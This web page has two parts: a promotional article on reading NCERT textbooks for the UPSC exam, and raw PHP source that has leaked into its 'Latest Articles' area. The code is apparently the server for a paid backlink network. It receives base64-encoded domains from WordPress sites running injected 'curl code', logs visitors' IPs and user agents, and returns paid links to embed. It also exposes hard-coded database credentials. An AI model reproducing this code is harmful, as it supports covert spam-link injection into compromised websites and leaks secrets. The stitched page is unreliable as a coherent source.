36.6 C
Rajasthan
Monday, March 24, 2025

Buy now

Strategy to Read NCERTs for UPSC Exam 

NCERT textbooks are considered to be the backbone of UPSC preparation. These books provide the fundamental concepts and knowledge required to crack the UPSC exam. The National Council of Educational Research and Training (NCERT) textbooks are designed according to the latest syllabus and cover all the essential topics in a comprehensive manner. Therefore, reading NCERTs is the first and foremost step for any UPSC aspirant. In this article, we will discuss the strategy to read NCERTs for the UPSC exam.

Before starting the preparation, it is essential to choose the right coaching center to guide you throughout the journey. Anushka Academy is the best IAS coaching center in Udaipur that provides excellent guidance to aspirants. The coaching center in Udaipur offers various courses and programs that cater to the needs of different aspirants. With its expert faculty and comprehensive study materials, Anushka Academy has helped numerous aspirants to achieve their dream of becoming an IAS officer.

Now let’s talk about the strategy to read NCERTs for the UPSC exam. The first step is to create a proper timetable and allocate a specific time slot for NCERT reading. Divide the NCERT books subject-wise and make a plan to complete each subject within a particular time frame. It is advisable to start with the basics and gradually move toward the advanced topics.

The second step is to read the NCERT textbooks thoroughly and make notes. Highlight the essential points and create short notes that will be useful during revision. It is also recommended to solve the questions given at the end of each chapter. Solving these questions will help in understanding the concept better and also improve your answer writing skills.

The third step is to revise the NCERT textbooks multiple times. Revision is the key to retaining the concepts in your memory. Make it a habit to revise the notes and NCERT textbooks regularly.

Apart from the NCERT textbooks, it is also essential to read other standard reference books for each subject. The UPSC syllabus is vast, and the NCERT textbooks alone may not be sufficient. Therefore, it is recommended to refer to other standard books to get a better understanding of the topics.

In conclusion, NCERT textbooks are an indispensable part of the UPSC preparation. A well-planned strategy and a dedicated approach toward NCERT reading can make a significant difference in your preparation. Anushka Academy is the best coaching center in Udaipur that provides excellent guidance to aspirants. With its expert faculty and comprehensive study materials, Anushka Academy can help you achieve your dream of becoming an IAS officer. Start your preparation today and make your dream a reality.

Related Articles

LEAVE A REPLY

Please enter your comment!
Please enter your name here

Stay Connected

0FansLike
3,912FollowersFollow
0SubscribersSubscribe

Latest Articles

header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>